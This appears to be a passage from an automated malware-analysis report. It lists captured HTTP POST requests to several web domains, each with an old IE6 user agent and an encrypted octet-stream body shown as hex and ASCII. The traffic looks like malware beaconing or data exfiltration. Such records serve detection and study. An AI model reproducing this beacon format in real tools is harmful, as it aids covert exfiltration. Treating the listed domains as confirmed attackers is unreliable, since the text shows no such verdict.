WmZlEnN2jgq5oXrEuskXGhytFbDZDSPrV4vnOW59H9J+raHQ4f1Ck/Y37HdYz5dj+KYNgY4ySSlqCGmLrLderHjnwvUUhXu0MCHfjrosEjLvaB5i7tXkjXZTczhxYiiDxDaCkQRG0Gqm2vxgAzx0ZNYPQ2cr5bItrp+XAuvAsswxBFqaowlAbJ8i2eHt6+9oX8rEV6K9xggfZJ5JuBJ5jjAMNa6mCBlVY+YU3xGrVvdZ7/U/1quAxI8H+m/BVLW4JV9zMivBvBFX0/20hfMFSiwWFrHXq0jNl56yiv9fZWnRJqs1EEERECqguoa7ptzVTgxSPTGGtrscde+7sBftGs3C7U+zJVWvmkV3Auv+s1QJ6T9nNrtDxWvgl+c24OjIm74NH3HvZ9rkjyYXzN9YF6VefNo06v7XWxQR4aAbTSC8lyDyM8sCVsKvUsEZdT6IRvuKTZcFGvgdEwPu03/OaAEtfJdzRFIwNN6F4qqUEg+l1ZkK0XkpoRke9Q6lXLkve57uA1NqZSNrnJOJDiXQ0n6FgxfesbkwZH6NPhUxQpf47qf03I7dvA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.quadlock.comCache-Control: no-cacheData Raw: 53 66 78 2f 68 5a 2b 44 6d 67 72 65 48 6f 6f 64 2f 76 77 2f 4d 53 67 7a 5a 75 4a 31 6f 44 5a 41 51 2f 31 70 35 6a 37 53 55 2f 68 2f 6a 71 45 6c 55 71 43 53 7a 77 4e 4b 6e 41 6c 65 66 4d 73 34 47 7a 65 4d 65 54 65 61 6a 69 68 35 46 71 4e 62 4c 35 69 65 2b 62 64 6e 33 6d 4c 54 53 70 68 43 67 71 53 34 6f 75 72 57 4d 4b 76 51 6e 36 64 51 48 4b 4a 72 55 49 4c 79 62 45 41 34 4e 51 4f 55 62 45 43 34 44 68 6a 6b 35 56 48 65 52 49 69 49 72 74 36 45 6a 38 50 5a 6f 78 74 44 4c 44 44 6f 47 62 73 70 4f 36 69 49 41 4f 44 48 61 47 79 66 4a 67 47 2f 74 74 47 75 76 6f 61 31 36 47 78 39 52 4f 42 52 54 62 4c 2f 4a 66 43 6a 6a 31 2b 2b 6d 74 30 6d 34 45 6a 52 67 4c 71 68 48 54 73 34 54 52 65 39 77 62 7a 69 39 7a 6b 4b 35 30 4b 4b 57 6d 79 69 2b 72 75 6a 66 63 62 70 53 5a 77 75 5a 66 54 68 75 35 66 44 30 35 2f 42 7a 33 2f 61 35 35 49 69 61 43 7a 75 51 6a 4b 59 65 50 61 33 69 6b 50 54 4e 4e 74 43 4d 32 53 73 2f 65 33 33 75 50 46 38 33 58 71 75 7a 54 72 6f 34 68 35 67 33 54 6b 52 38 50 41 4f 61 77 49 43 6b 30 4a 6d 50 6c 6f 2b 6f 43 55 37 46 38 4f 4b 4d 69 65 4f 5a 53 78 4e 34 51 56 35 67 51 7a 6f 32 69 31 78 4c 4c 42 4a 45 61 6d 4c 73 69 6c 45 6d 6b 71 5a 4e 2b 71 65 30 49 48 41 30 31 45 63 4c 69 45 4e 4b 52 38 39 70 52 42 42 6d 59 46 44 7a 57 6d 55 2b 47 6b 36 55 5a 4c 74 43 77 74 4b 52 6d 45 77 6d 45 73 6a 37 5a 56 2f 7a 6a 2f 49 4d 53 49 55 39 48 43 6c 78 38 2f 45 75 44 36 2b 73 65 2f 37 66 6c 4a 47 7a 6d 77 7a 6f 55 55 77 41 48 48 47 6e 6b 76 30 6a 75 71 50 31 41 45 74 75 73 68 72 67 42 77 51 75 4b 6e 41 72 4b 75 6f 37 48 66 71 72 7a 47 34 4b 32 64 33 44 48 4c 63 32 38 6f 72 63 41 3d 3d Data Ascii: Sfx/hZ+DmgreHood/vw/MSgzZuJ1oDZAQ/1p5j7SU/h/jqElUqCSzwNKnAlefMs4GzeMeTeajih5FqNbL5ie+bdn3mLTSphCgqS4ourWMKvQn6dQHKJrUILybEA4NQOUbEC4Dhjk5VHeRIiIrt6Ej8PZoxtDLDDoGbspO6iIAODHaGyfJgG/ttGuvoa16Gx9ROBRTbL/JfCjj1++mt0m4EjRgLqhHTs4TRe9wbzi9zkK50KKWmyi+rujfcbpSZwuZfThu5fD05/Bz3/a55IiaCzuQjKYePa3ikPTNNtCM2Ss/e33uPF83XquzTro4h5g3TkR8PAOawICk0JmPlo+oCU7F8OKMieOZSxN4QV5gQzo2i1xLLBJEamLsilEmkqZN+qe0IHA01EcLiENKR89pRBBmYFDzWmU+Gk6UZLtCwtKRmEwmEsj7ZV/zj/IMSIU9HClx8/EuD6+se/7flJGzmwzoUUwAHHGnkv0juqP1AEtushrgBwQuKnArKuo7HfqrzG4K2d3DHLc28orcA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pdqhomes.comCache-Control: no-cacheData Raw: 4c 67 56 31 63 4c 48 55 6d 51 72 35 34 73 77 6e 30 45 5a 47 31 67 6f 73 42 66 33 76 77 78 32 6c 64 53 61 76 4f 34 79 32 41 63 47 2f 57 32 67 52 74 6a 65 69 5a 42 47 72 37 30 68 6e 2f 67 4a 46 6d 43 5a 73 5a 65 32 37 38 45 4d 6e 4a 50 58 47 51 70 52 47 44 76 42 54 53 2f 41 66 6d 35 56 76 30 41 68 73 66 35 6d 46 44 63 4a 43 38 37 73 31 62 2b 78 69 39 2b 6f 33 4c 58 64 51 50 44 76 54 4e 2b 75 52 30 31 62 7a 34 5a 6d 6f 45 4f 71 6e 64 6a 50 4f 55 4f 65 6a 46 36 68 54 63 41 4f 68 35 49 66 32 46 58 4b 33 6d 42 4a 4e 74 4f 58 2b 64 49 7a 61 77 6a 59 6c 69 50 62 2b 72 2f 6b 7a 57 36 4c 35 38 52 41 59 2f 31 78 74 39 7a 68 61 54 48 37 38 74 51 6d 4f 30 6d 49 69 58 75 49 4d 52 69 4f 45 37 6e 4a 2f 75 69 34 50 6d 33 78 66 6d 52 37 74 71 6d 7a 7a 63 6b 70 35 38 2f 70 4d 79 6b 4b 48 5a 6c 6a 41 50 55 38 33 34 44 62 63 4f 4c 68 51 2b 56 59 48 33 35 69 44 5a 64 42 52 72 62 4e 66 79 61 2b 33 50 6a 4a 6a 39 6e 71 36 4c 6b 46 37 66 4e 6d 35 2b 31 72 75 43 70 53 34 55 56 47 51 56 79 41 69 32 34 57 63 46 5a 6f 54 52 72 52 2b 74 35 74 6f 33 32 41 53 79 67 68 52 67 46 69 5a 73 74 71 75 71 64 7a 69 76 79 59 4b 61 32 57 6e 51 68 34 51 4f 78 6d 55 78 49 4b 45 77 7a 72 63 6a 57 65 58 6d 6c 43 2b 4d 42 62 78 41 74 67 46 74 37 4e 2f 58 4a 72 4d 71 5a 66 67 58 36 36 53 76 5a 77 33 4c 37 4b 5a 4d 71 6d 61 56 58 55 41 78 61 32 68 43 55 52 6a 4e 47 65 56 66 65 2b 69 6f 44 78 4d 65 4a 6e 39 74 43 57 2b 42 39 45 53 43 6a 57 76 53 4a 6d 32 65 38 62 4b 57 66 6c 74 43 34 67 58 58 38 74 75 49 70 54 76 62 6f 66 46 31 49 6c 62 69 36 38 53 62 65 79 74 77 55 2f 43 44 36 48 30 46 2f 6a 41 2f 6c 43 46 49 38 68 36 77 4c 33 4f 61 6a 7a 69 64 52 4c 77 69 72 48 42 56 7a 4f 68 58 49 48 4e 70 39 51 2f 66 6b 75 67 6a 6f 54 59 57 46 36 68 4b 77 3d 3d Data Ascii: LgV1cLHUmQr54swn0EZG1gosBf3vwx2ldSavO4y2AcG/W2gRtjeiZBGr70hn/gJFmCZsZe278EMnJPXGQpRGDvBTS/Afm5Vv0Ahsf5mFDcJC87s1b+xi9+o3LXdQPDvTN+uR01bz4ZmoEOqndjPOUOejF6hTcAOh5If2FXK3mBJNtOX+dIzawjYliPb+r/kzW6L58RAY/1xt9zhaTH78tQmO0mIiXuIMRiOE7nJ/ui4Pm3xfmR7tqmzzckp58/pMykKHZljAPU834DbcOLhQ+VYH35iDZdBRrbNfya+3PjJj9nq6LkF7fNm5+1ruCpS4UVGQVyAi24WcFZoTRrR+t5to32ASyghRgFiZstquqdzivyYKa2WnQh4QOxmUxIKEwzrcjWeXmlC+MBbxAtgFt7N/XJrMqZfgX66SvZw3L7KZMqmaVXUAxa2hCURjNGeVfe+ioDxMeJn9tCW+B9ESCjWvSJm2e8bKWfltC4gXX8tuIpTvbofF1Ilbi68SbeytwU/CD6H0F/jA/lCFI8h6wL3OajzidRLwirHBVzOhXIHNp9Q/fkugjoTYWF6hKw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 70 38 56 31 44 6a 61 47 77 6c 52 69 71 53 6b 4f 6b 55 67 50 4a 39 6b 6f 78 6c 6c 57 57 4b 6e 76 79 72 58 49 69 54 74 54 6d 6e 46 33 48 71 76 56 56 48 65 4b 6d 39 70 6e 54 43 38 54 39 49 66 53 66 6d 72 77 72 73 61 6c 6d 59 4b 4b 58 70 2f 74 2b 47 45 4f 4d 75 4a 6b 6c 49 76 79 61 48 48 6f 49 46 31 64 6c 5a 53 54 76 35 31 76 2b 51 31 38 49 4b 52 79 4f 38 6d 58 6c 71 52 7a 51 7a 62 69 48 6a 51 36 44 70 68 57 37 79 4e 34 4d 35 4c 79 57 52 43 36 39 61 6f 66 54 4c 48 4a 2f 38 38 33 66 64 4e 37 34 79 6b 7a 35 44 71 4e 43 2b 6e 6b 39 4e 59 32 63 6a 70 43 4d 64 65 35 6f 72 2b 48 51 31 64 77 61 38 65 71 55 48 4c 32 4e 2f 2f 32 37 6b 4e 6f 64 79 67 34 48 67 35 36 44 45 6b 4b 70 49 6f 57 63 4b 45 77 71 6b 55 6a 4a 78 7a 42 36 36 50 57 73 70 75 6e 64 32 4b 77 30 77 49 78 4b 34 61 53 59 36 37 57 62 79 50 6f 53 6c 44 75 6c 49 49 6d 70 34 39 4b 4d 58 4e 63 6d 4d 59 53 6c 4e 56 46 4b 78 6b 63 59 78 73 34 4b 37 6a 68 65 56 6e 63 44 51 64 6d 50 34 65 50 75 43 41 74 71 2b 56 58 57 2f 2b 4f 4f 33 64 4f 42 41 41 39 58 48 71 30 5a 35 68 4e 70 6f 56 69 63 62 65 4c 48 44 65 4d 66 38 4b 79 55 6f 4a 6e 62 6c 4b 6f 75 71 58 72 75 4f 4d 37 31 36 35 7a 4e 43 49 63 52 78 69 44 67 36 6e 33 6c 4d 45 70 52 38 68 62 69 55 2b 45 42 49 6c 4d 69 42 57 4d 76 55 36 55 6d 61 4c 46 74 30 50 6f 53 66 4f 4d 4a 38 6b 6d 43 4b 54 41 62 41 56 32 4e 48 53 65 4f 58 36 59 78 69 62 61 42 43 64 2b 75 50 6b 66 33 6f 2b 53 53 70 35 64 5a 55 7a 52 54 6e 38 56 35 51 38 62 62 35 39 73 49 32 77 68 2b 65 35 2f 44 37 64 44 57 37 4d 51 55 45 78 35 7a 74 48 48 6e 58 31 37 33 39 4e 71 4e 47 31 74 57 72 54 45 72 4b 5a 34 77 44 59 68 49 46 32 4e 54 51 3d 3d Data Ascii: p8V1DjaGwlRiqSkOkUgPJ9koxllWWKnvyrXIiTtTmnF3HqvVVHeKm9pnTC8T9IfSfmrwrsalmYKKXp/t+GEOMuJklIvyaHHoIF1dlZSTv51v+Q18IKRyO8mXlqRzQzbiHjQ6DphW7yN4M5LyWRC69aofTLHJ/883fdN74ykz5DqNC+nk9NY2cjpCMde5or+HQ1dwa8eqUHL2N//27kNodyg4Hg56DEkKpIoWcKEwqkUjJxzB66PWspund2Kw0wIxK4aSY67WbyPoSlDulIImp49KMXNcmMYSlNVFKxkcYxs4K7jheVncDQdmP4ePuCAtq+VXW/+OO3dOBAA9XHq0Z5hNpoVicbeLHDeMf8KyUoJnblKouqXruOM7165zNCIcRxiDg6n3lMEpR8hbiU+EBIlMiBWMvU6UmaLFt0PoSfOMJ8kmCKTAbAV2NHSeOX6YxibaBCd+uPkf3o+SSp5dZUzRTn8V5Q8bb59sI2wh+e5/D7dDW7MQUEx5ztHHnX1739NqNG1tWrTErKZ4wDYhIF2NTQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.item-pr.comCache-Control: no-cacheData Raw: 4c 30 54 6a 70 50 66 50 77 46 58 55 6b 48 57 64 5a 75 77 30 75 55 41 31 58 74 32 74 7a 35 52 70 47 31 75 56 4d 31 54 65 2b 31 71 66 6d 56 74 55 72 49 4b 50 4d 51 47 31 42 4f 55 4b 35 51 7a 4c 49 2f 53 78 4d 6e 5a 41 57 53 6d 70 79 5a 75 35 55 6a 46 49 55 51 2f 48 53 67 69 75 52 63 4f 35 59 63 71 7a 74 6e 77 37 55 62 42 69 61 44 66 34 61 44 67 72 50 79 65 45 70 47 4e 31 4f 6a 76 77 4d 37 49 36 75 44 41 73 50 77 57 73 76 46 56 57 66 54 53 6c 75 55 7a 6d 4a 78 74 55 6d 51 53 51 46 56 55 68 5a 51 63 78 6b 73 65 4d 71 44 53 52 5a 73 6b 2b 6c 44 69 68 79 71 59 52 70 37 71 73 78 79 61 51 32 66 53 37 51 58 35 57 69 47 37 6b 39 35 30 43 63 50 72 2b 2b 6f 33 69 42 72 6c 50 69 47 59 75 51 72 68 37 44 41 71 76 6d 6f 30 30 45 63 64 69 61 47 69 67 79 65 6f 31 48 65 4c 36 70 30 43 78 76 75 76 62 47 66 32 74 48 57 78 37 4e 55 6f 7a 48 7a 61 59 53 49 53 56 56 67 50 75 73 42 49 54 56 78 69 6e 44 72 38 49 4a 46 76 46 71 56 56 67 41 4c 44 56 70 2f 66 75 79 6b 6f 66 48 37 62 66 6a 54 39 68 6d 79 67 54 6e 70 58 49 6c 4e 47 4a 4e 32 50 62 75 43 61 57 4f 39 6d 64 51 42 58 67 51 71 68 65 64 4a 41 36 49 47 31 78 38 65 70 69 70 5a 37 37 6f 41 55 64 6a 6b 43 6f 4f 6f 71 56 48 76 77 53 58 64 62 79 58 44 5a 43 46 30 49 75 43 43 66 74 32 72 63 44 7a 5a 61 75 61 74 30 54 48 73 64 69 4d 4a 77 6e 65 48 51 61 31 50 33 6a 49 69 55 55 77 49 76 76 4a 69 69 62 6d 75 74 37 6b 62 4d 30 45 44 4f 67 32 46 79 53 67 59 6a 39 48 46 74 72 63 2b 6b 4f 42 53 4e 67 52 53 31 77 50 4d 53 76 2f 55 68 47 63 47 79 5a 5a 4d 73 69 4a 2f 42 6d 47 77 71 71 69 65 47 69 47 62 65 30 44 71 6a 78 52 5a 6c 70 4d 2b 65 61 71 41 69 37 75 66 69 74 72 63 39 39 48 75 38 74 37 6a 58 6c 69 38 31 33 65 76 4b 70 68 68 51 72 58 39 41 45 59 6f 54 62 6c 57 6a 34 51 34 58 31 58 70 6b 4e 49 77 3d 3d Data Ascii: L0TjpPfPwFXUkHWdZuw0uUA1Xt2tz5RpG1uVM1Te+1qfmVtUrIKPMQG1BOUK5QzLI/SxMnZAWSmpyZu5UjFIUQ/HSgiuRcO5Ycqztnw7UbBiaDf4aDgrPyeEpGN1OjvwM7I6uDAsPwWsvFVWfTSluUzmJxtUmQSQFVUhZQcxkseMqDSRZsk+lDihyqYRp7qsxyaQ2fS7QX5WiG7k950CcPr++o3iBrlPiGYuQrh7DAqvmo00EcdiaGigyeo1HeL6p0CxvuvbGf2tHWx7NUozHzaYSISVVgPusBITVxinDr8IJFvFqVVgALDVp/fuykofH7bfjT9hmygTnpXIlNGJN2PbuCaWO9mdQBXgQqhedJA6IG1x8epipZ77oAUdjkCoOoqVHvwSXdbyXDZCF0IuCCft2rcDzZauat0THsdiMJwneHQa1P3jIiUUwIvvJiibmut7kbM0EDOg2FySgYj9HFtrc+kOBSNgRS1wPMSv/UhGcGyZZMsiJ/BmGwqqieGiGbe0DqjxRZlpM+eaqAi7ufitrc99Hu8t7jXli813evKphhQrX9AEYoTblWj4Q4X1XpkNIw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 528User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.olras.comCache-Control: no-cacheData Raw: 36 6a 37 56 75 47 55 75 6e 41 70 4c 6a 35 2f 4c 44 49 79 32 69 4e 34 58 4c 36 4b 7a 67 56 42 65 61 52 6b 4a 46 74 2f 4b 73 79 72 4d 4c 31 38 6e 31 67 67 4a 58 71 38 6e 30 37 32 35 41 37 48 7a 5a 56 75 6e 38 6b 54 4f 31 58 42 76 69 51 50 4f 48 2f 63 42 34 73 6e 32 4d 55 4a 6d 66 64 55 32 6f 31 79 4f 46 79 48 43 7a 32 4e 48 59 73 67 39 56 49 53 50 30 66 68 59 32 6e 74 49 47 72 79 4b 62 38 51 57 38 53 55 6b 48 67 54 38 77 2f 72 2b 59 31 67 37 2f 61 77 4e 32 68 66 44 36 41 72 65 4d 6c 42 4d 39 7a 43 56 43 79 7a 6b 4a 35 54 57 69 31 69 63 6c 72 73 47 37 66 5a 53 47 7a 44 53 4e 32 68 56 58 77 6f 6a 57 2b 2f 66 69 5a 48 4d 68 61 32 73 63 72 66 45 32 47 76 51 76 2f 44 39 6f 46 4e 4c 54 63 45 51 78 4a 47 72 71 78 74 61 6f 79 4d 6c 78 35 4e 43 77 68 6c 46 63 64 4f 45 6d 4d 76 57 77 52 55 43 65 41 78 45 4f 36 39 47 66 43 67 31 79 62 63 52 41 4e 77 58 34 57 4e 58 78 6c 36 46 30 53 6f 39 52 32 43 62 65 32 45 61 66 6a 54 30 79 70 2b 53 2b 44 7a 53 76 58 45 77 41 39 58 6a 61 64 2b 36 59 66 47 47 52 77 33 6e 6b 57 47 2b 53 62 75 51 71 57 41 79 53 31 4b 32 6c 36 4f 68 36 72 56 30 61 4b 63 66 50 57 43 57 43 42 31 78 64 6d 2b 4c 63 54 69 2b 2b 5a 56 43 78 67 6c 71 77 70 51 6b 4b 39 75 47 50 46 74 73 38 79 50 2f 64 72 65 39 33 49 4c 4f 35 4a 39 6c 41 42 52 71 6e 6d 51 41 56 4f 54 7a 7a 6c 5a 4e 6d 45 77 63 72 2b 75 44 79 54 74 41 75 37 72 36 51 78 31 6e 55 39 5a 39 6b 46 6f 4c 31 4c 2b 35 6d 70 73 44 4e 61 45 6b 48 69 50 72 34 61 79 66 46 48 6b 42 36 78 62 2b 49 69 7a 75 42 57 2b 72 41 65 2b 45 71 39 37 36 6d 32 37 41 6f 2b 62 68 49 48 2f 67 71 50 6f 32 45 2f 4e 69 45 51 3d 3d Data Ascii: 6j7VuGUunApLj5/LDIy2iN4XL6KzgVBeaRkJFt/KsyrML18n1ggJXq8n0725A7HzZVun8kTO1XBviQPOH/cB4sn2MUJmfdU2o1yOFyHCz2NHYsg9VISP0fhY2ntIGryKb8QW8SUkHgT8w/r+Y1g7/awN2hfD6AreMlBM9zCVCyzkJ5TWi1iclrsG7fZSGzDSN2hVXwojW+/fiZHMha2scrfE2GvQv/D9oFNLTcEQxJGrqxtaoyMlx5NCwhlFcdOEmMvWwRUCeAxEO69GfCg1ybcRANwX4WNXxl6F0So9R2Cbe2EafjT0yp+S+DzSvXEwA9Xjad+6YfGGRw3nkWG+SbuQqWAyS1K2l6Oh6rV0aKcfPWCWCB1xdm+LcTi++ZVCxglqwpQkK9uGPFts8yP/dre93ILO5J9lABRqnmQAVOTzzlZNmEwcr+uDyTtAu7r6Qx1nU9Z9kFoL1L+5mpsDNaEkHiPr4ayfFHkB6xb+IizuBW+rAe+Eq976m27Ao+bhIH/gqPo2E/NiEQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.petsfan.comCache-Control: no-cacheData Raw: 39 4d 75 5a 35 43 47 43 30 31 58 57 4c 39 50 66 67 4c 55 2b 6b 2f 72 75 37 47 41 66 6c 6d 57 7a 35 57 72 4b 7a 45 72 47 2f 53 36 65 31 50 66 79 41 6c 73 76 4b 6a 38 73 34 6f 2b 49 4c 4e 38 6f 48 79 54 52 47 2f 42 68 56 57 55 5a 49 34 49 74 72 45 58 52 66 4b 5a 56 39 67 6a 66 71 70 2b 56 41 30 54 68 47 38 54 6e 5a 52 52 67 55 78 30 59 37 32 50 79 49 68 57 54 44 73 50 37 47 59 69 65 4f 48 5a 42 6b 61 51 55 68 54 52 34 63 54 2b 79 61 52 2b 55 4c 6f 51 44 41 30 68 79 71 71 45 4d 71 6e 5a 37 52 38 2b 55 35 48 2f 4e 43 36 49 7a 50 68 6c 64 57 2b 31 44 6a 52 6d 33 65 72 59 68 34 66 69 75 2b 74 35 4b 2b 75 5a 38 6e 42 31 2f 44 6f 77 39 67 68 53 41 56 74 5a 59 71 6e 33 78 67 34 4e 6e 75 43 52 6e 31 2b 4a 66 72 6b 54 71 66 76 48 2f 2f 2b 47 6b 38 35 2b 39 67 41 4d 6d 39 6c 6c 59 51 61 35 54 75 74 42 37 6d 65 4d 79 75 4a 75 58 6b 69 57 61 50 70 5a 69 41 4e 2f 65 51 32 2b 74 4a 41 57 75 45 71 77 6d 7a 38 72 79 6d 56 45 68 50 61 45 4c 73 48 4f 53 70 6e 79 2b 61 43 31 56 41 33 6a 2f 56 70 33 74 72 57 42 36 52 62 74 4a 6e 6e 36 77 4b 55 6f 52 43 74 54 57 47 6b 78 76 43 6a 74 32 77 4c 32 6e 32 36 4e 58 74 58 44 51 71 4c 52 32 4e 53 42 62 75 69 55 68 70 41 4e 38 69 68 31 75 76 50 57 30 48 31 66 6f 53 6a 63 77 6f 52 62 44 41 66 38 32 41 55 37 47 75 4a 48 6c 4d 4d 73 47 6a 6a 78 79 41 33 63 35 65 36 57 38 39 43 54 45 68 71 55 53 6f 4d 56 54 77 33 6d 53 76 53 4b 69 2f 46 6e 47 4e 4b 72 72 64 46 42 53 7a 4d 7a 77 4f 6e 76 6a 48 33 4d 66 44 49 34 33 4c 31 38 32 50 57 74 46 41 5a 39 59 51 4f 49 47 32 64 33 52 52 43 6e 4a 61 59 53 59 46 52 53 58 42 5a 50 52 30 32 71 56 51 30 46 75 2b 65 51 48 70 34 48 6c 6b 4e 72 6c 46 50 77 6a 7a 6f 62 66 70 6c 4f 37 6a 79 51 34 64 45 58 53 64 67 6a 49 4e 4b 76 54 5a 52 73 36 46 4e 56 6a 31 43 71 68 55 37 30 3d Data Ascii: 9MuZ5CGC01XWL9PfgLU+k/ru7GAflmWz5WrKzErG/S6e1PfyAlsvKj8s4o+ILN8oHyTRG/BhVWUZI4ItrEXRfKZV9gjfqp+VA0ThG8TnZRRgUx0Y72PyIhWTDsP7GYieOHZBkaQUhTR4cT+yaR+ULoQDA0hyqqEMqnZ7R8+U5H/NC6IzPhldW+1DjRm3erYh4fiu+t5K+uZ8nB1/Dow9ghSAVtZYqn3xg4NnuCRn1+JfrkTqfvH//+Gk85+9gAMm9llYQa5TutB7meMyuJuXkiWaPpZiAN/eQ2+tJAWuEqwmz8rymVEhPaELsHOSpny+aC1VA3j/Vp3trWB6RbtJnn6wKUoRCtTWGkxvCjt2wL2n26NXtXDQqLR2NSBbuiUhpAN8ih1uvPW0H1foSjcwoRbDAf82AU7GuJHlMMsGjjxyA3c5e6W89CTEhqUSoMVTw3mSvSKi/FnGNKrrdFBSzMzwOnvjH3MfDI43L182PWtFAZ9YQOIG2d3RRCnJaYSYFRSXBZPR02qVQ0Fu+eQHp4HlkNrlFPwjzobfplO7jyQ4dEXSdgjINKvTZRs6FNVj1CqhU70=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.abart.plCache-Control: no-cacheData Raw: 56 68 57 58 4b 38 77 76 78 56 55 73 55 58 61 4b 4e 36 68 70 30 39 38 45 53 6f 79 6b 71 4a 75 47 77 4e 30 32 38 62 75 39 35 44 2f 4d 38 4c 41 45 4a 4d 34 64 34 64 68 48 46 69 51 4f 6d 65 46 45 41 49 6c 48 4a 30 6e 6e 49 43 43 79 43 39 46 48 79 78 62 58 58 69 75 79 67 31 4e 4b 4e 59 4f 57 74 49 75 71 6b 47 58 71 44 56 50 42 66 48 6b 6e 72 6b 72 34 76 53 39 4e 55 44 66 64 64 69 4a 4c 64 6c 56 59 53 4c 70 6f 38 61 67 38 70 31 63 72 49 51 77 66 42 70 6f 7a 55 78 33 75 57 68 49 70 72 51 4a 33 72 44 53 76 35 69 77 36 6c 6a 48 41 44 43 38 56 45 2f 59 55 74 44 73 39 69 44 55 73 70 7a 36 66 46 59 5a 2b 37 4e 38 6b 4b 6f 49 2b 6e 58 71 49 54 7a 45 2b 34 70 30 2f 75 54 45 48 6c 76 46 74 4b 2f 4e 2f 79 45 70 43 36 4f 79 54 45 47 6a 75 4c 4b 79 51 35 6c 32 2b 7a 4c 4e 72 53 30 4d 76 67 39 4b 6c 69 59 62 54 6e 61 67 44 4c 63 7a 70 6d 71 31 6a 44 66 75 69 71 66 54 46 31 76 59 57 49 79 42 65 54 46 68 76 4a 32 30 72 41 4f 70 5a 56 38 52 59 52 56 43 55 6a 75 48 46 48 75 69 67 46 6d 4d 51 67 4e 38 66 75 4d 5a 41 6d 4d 30 6a 51 4a 65 4c 6d 50 55 76 76 55 77 4d 75 2b 71 30 42 74 45 4c 74 6a 4b 67 4f 73 65 54 48 35 44 59 30 6c 35 43 47 64 67 46 75 54 38 72 72 62 68 43 2b 55 47 39 73 6e 43 6b 43 63 56 52 5a 33 78 52 30 51 32 35 7a 79 63 53 5a 62 49 6a 72 33 61 30 72 35 34 4a 66 64 59 63 73 6f 6f 78 71 79 72 69 39 4c 48 2f 31 78 61 47 34 78 49 39 48 75 38 5a 58 4c 6d 42 34 45 61 77 5a 61 4b 59 5a 4a 55 2b 62 33 37 71 58 6f 66 68 51 4d 6c 51 48 51 70 6f 48 37 5a 34 78 4e 30 42 45 2f 42 66 56 53 36 31 78 49 75 50 46 34 6a 44 63 55 6e 66 73 30 54 37 33 56 69 4d 4e 79 51 2b 4c 6e 4c 75 42 4b 55 74 71 4a 50 38 78 32 4c 32 55 49 38 32 4d 6a 63 73 70 70 36 37 30 46 39 76 4e 46 43 54 77 53 64 76 65 32 72 71 34 67 3d 3d Data Ascii: VhWXK8wvxVUsUXaKN6hp098ESoykqJuGwN028bu95D/M8LAEJM4d4dhHFiQOmeFEAIlHJ0nnICCyC9FHyxbXXiuyg1NKNYOWtIuqkGXqDVPBfHknrkr4vS9NUDfddiJLdlVYSLpo8ag8p1crIQwfBpozUx3uWhIprQJ3rDSv5iw6ljHADC8VE/YUtDs9iDUspz6fFYZ+7N8kKoI+nXqITzE+4p0/uTEHlvFtK/N/yEpC6OyTEGjuLKyQ5l2+zLNrS0Mvg9KliYbTnagDLczpmq1jDfuiqfTF1vYWIyBeTFhvJ20rAOpZV8RYRVCUjuHFHuigFmMQgN8fuMZAmM0jQJeLmPUvvUwMu+q0BtELtjKgOseTH5DY0l5CGdgFuT8rrbhC+UG9snCkCcVRZ3xR0Q25zycSZbIjr3a0r54JfdYcsooxqyri9LH/1xaG4xI9Hu8ZXLmB4EawZaKYZJU+b37qXofhQMlQHQpoH7Z4xN0BE/BfVS61xIuPF4jDcUnfs0T73ViMNyQ+LnLuBKUtqJP8x2L2UI82Mjcspp670F9vNFCTwSdve2rq4g==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.mqs.com.brCache-Control: no-cacheCookie: __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvsData Raw: 31 68 31 4e 74 36 32 32 53 67 75 55 33 6d 55 4c 70 43 6a 6f 61 6d 62 76 49 42 61 62 59 38 47 70 4d 55 4c 6c 35 2b 41 36 4d 6c 43 45 4b 37 53 4c 51 37 54 73 6c 4d 32 30 43 2f 2f 79 69 75 4e 43 75 56 41 62 32 58 31 76 38 39 77 75 6f 6f 78 4c 75 62 4f 51 4c 4e 46 78 7a 71 42 72 78 57 54 5a 72 49 39 67 33 61 56 39 61 6c 78 38 34 72 6e 52 7a 49 37 67 59 49 35 62 6b 39 48 73 6e 55 37 6b 42 65 78 73 59 6e 42 47 62 6a 31 79 72 78 39 57 6a 43 65 79 2f 64 55 2f 78 64 6e 37 2f 4a 55 41 2b 4f 63 30 50 46 4a 41 31 66 65 4f 6f 30 77 74 31 6b 68 45 35 44 32 65 4d 37 4c 56 71 43 51 4d 48 5a 6a 4b 42 34 4b 47 54 4f 35 31 2b 70 66 4f 79 51 64 4b 52 78 76 64 78 33 4f 51 71 31 62 69 64 48 44 4a 43 64 54 46 70 53 39 6e 4d 4a 41 79 72 54 59 4b 43 2b 79 49 37 4f 65 5a 7a 59 68 62 63 7a 4b 32 72 75 37 5a 37 51 31 39 4c 56 44 61 78 45 34 58 31 78 38 38 6f 7a 74 53 64 32 37 46 61 71 5a 51 6c 63 5a 50 2f 47 69 2f 5a 49 37 42 56 7a 32 57 